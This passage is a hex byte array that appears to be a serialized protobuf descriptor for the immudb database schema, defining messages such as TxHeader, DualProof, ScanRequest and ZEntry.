0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x0c, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x64, 0x42, 0x79, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x94, 0x01, 0x0a, 0x09, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xa3, 0x01, 0x0a, 0x02, 0x4f, 0x70, 0x12, 0x29, 0x0a, 0x02, 0x6b, 0x76, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x02, 0x6b, 0x76, 0x12, 0x30, 0x0a, 0x04, 0x7a, 0x41, 0x64, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x48, 0x00, 0x52, 0x04, 0x7a, 0x41, 0x64, 0x64, 0x12, 0x33, 0x0a, 0x03, 0x72, 0x65, 0x66, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x48, 0x00, 0x52, 0x03, 0x72, 0x65, 0x66, 0x42, 0x0b, 0x0a, 0x09, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x9e, 0x01, 0x0a, 0x0e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x31, 0x0a, 0x0a, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x52, 0x0a, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x39, 0x0a, 0x07, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x2e, 0x0a, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x82, 0x01, 0x0a, 0x06, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x73, 0x65, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x65, 0x6e, 0x74, 0x72, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x05, 0x65, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x01, 0x52, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x22, 0x3b, 0x0a, 0x08, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x95, 0x02, 0x0a, 0x0b, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x65, 0x65, 0x6b, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x73, 0x65, 0x65, 0x6b, 0x4b, 0x65, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x65, 0x6e, 0x64, 0x4b, 0x65, 0x79, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x65, 0x6e, 0x64, 0x4b, 0x65, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b, 0x12, 0x22, 0x0a, 0x0c, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x45, 0x6e, 0x64, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x45, 0x6e, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x22, 0x23, 0x0a, 0x09, 0x4b, 0x65, 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x22, 0x22, 0x0a, 0x0a, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x47, 0x0a, 0x09, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x70, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x70, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x22, 0xf1, 0x01, 0x0a, 0x08, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x69, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x72, 0x65, 0x76, 0x41, 0x6c, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x70, 0x72, 0x65, 0x76, 0x41, 0x6c, 0x68, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x02, 0x74, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x6e, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x6e, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x0e, 0x0a, 0x02, 0x65, 0x48, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x02, 0x65, 0x48, 0x12, 0x16, 0x0a, 0x06, 0x62, 0x6c, 0x54, 0x78, 0x49, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x62, 0x6c, 0x54, 0x78, 0x49, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x62, 0x6c, 0x52, 0x6f, 0x6f, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x62, 0x6c, 0x52, 0x6f, 0x6f, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x05, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x22, 0x48, 0x0a, 0x0a, 0x54, 0x78, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x12, 0x14, 0x0a, 0x05, 0x65, 0x78, 0x74, 0x72, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x65, 0x78, 0x74, 0x72, 0x61, 0x22, 0x63, 0x0a, 0x0b, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x1e, 0x0a, 0x0a, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x49, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x22, 0x89, 0x01, 0x0a, 0x12, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2a, 0x0a, 0x10, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x54, 0x65, 0x72, 0x6d, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x10, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x54, 0x65, 0x72, 0x6d, 0x73, 0x12, 0x47, 0x0a, 0x0f, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0f, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x73, 0x22, 0xc8, 0x03, 0x0a, 0x09, 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x3f, 0x0a, 0x0e, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x3f, 0x0a, 0x0e, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x26, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2a, 0x0a, 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x42, 0x6c, 0x54, 0x78, 0x41, 0x6c, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x42, 0x6c, 0x54, 0x78, 0x41, 0x6c, 0x68, 0x12, 0x2e, 0x0a, 0x12, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x12, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x3c, 0x0a, 0x0b, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0b, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x51, 0x0a, 0x12, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x12, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x22, 0xe3, 0x01, 0x0a, 0x0b, 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x56, 0x32, 0x12, 0x3f, 0x0a, 0x0e, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x3f, 0x0a, 0x0e, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x26, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2a, 0x0a, 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x22, 0xce, 0x01, 0x0a, 0x02, 0x54, 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x30, 0x0a, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x32, 0x0a, 0x09, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x31, 0x0a, 0x08, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x94, 0x01, 0x0a, 0x07, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x68, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x68, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x76, 0x4c, 0x65, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, 0x76, 0x4c, 0x65, 0x6e, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 